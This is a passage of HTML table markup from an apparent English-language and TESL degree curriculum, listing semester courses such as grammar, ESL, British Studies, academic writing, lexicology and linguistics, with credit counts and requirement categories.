5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Social-1\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Humanities-2\r\n  (Foreign Language 2)</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:27.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Humanities-1\r\n  (Foreign Language 1)</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  201</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>English\r\n  Grammar pre-advanced <strong>(4 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Math\r\n  and Natural-3 (life science)</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  206</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>ESL\r\n  pre – adv. <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:26.5pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Social-2\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>PSYC\r\n  304</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Basics\r\n  of Educational Psychology</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENG</strong><strong>L\r\n  326</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>British\r\n  Studies <strong>(4 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>18</p>\r\n  </td>\r\n  <td style=\"\" width:54.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"72\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:299.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"400\">\r\n  <strong>V\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:332.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"443\">\r\n  <strong>VI\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL 301</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>ESL adv. <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\"><strong>ENGL 335 </strong></p>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\"><strong>ENGL 419</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\"><strong>Academic Writing (6 hours) </strong></p>\r\n  <p style=\"\" margin-bottom:0cm;margin-bottom:.0001pt;line-height:150%\"\"=\"\">Creative\r\n  Writing <strong>(6 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>ME</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  316</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Advanced\r\n  English Vocabulary (<strong>4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>ENGL\r\n  322</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p>Lexicology\r\n  </p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>ENGL\r\n  202</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>English\r\n  Grammar advanced<strong>( 4 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:42.2pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:56.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n  <td style=\"\" width:59.9pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"80\">\r\n  <p><strong>TESL 303</strong></p>\r\n  </td>\r\n  <td style=\"\" width:233.1pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"311\">\r\n  <p><strong>Introduction to TESL </strong></p>\r\n  </td>\r\n  <td style=\"\" width:41.7pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"56\">\r\n  <p>3</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:57.3pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"76\">\r\n  <p>MR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:63.9pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"85\">\r\n  <p><strong>LING\r\n  215</strong></p>\r\n  </td>\r\n  <td style=\"\" width:200.8pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"268\">\r\n  <p>Introduction\r\n  to Linguistics </p>\r\n  </td>\r\n  <td style=\"\" 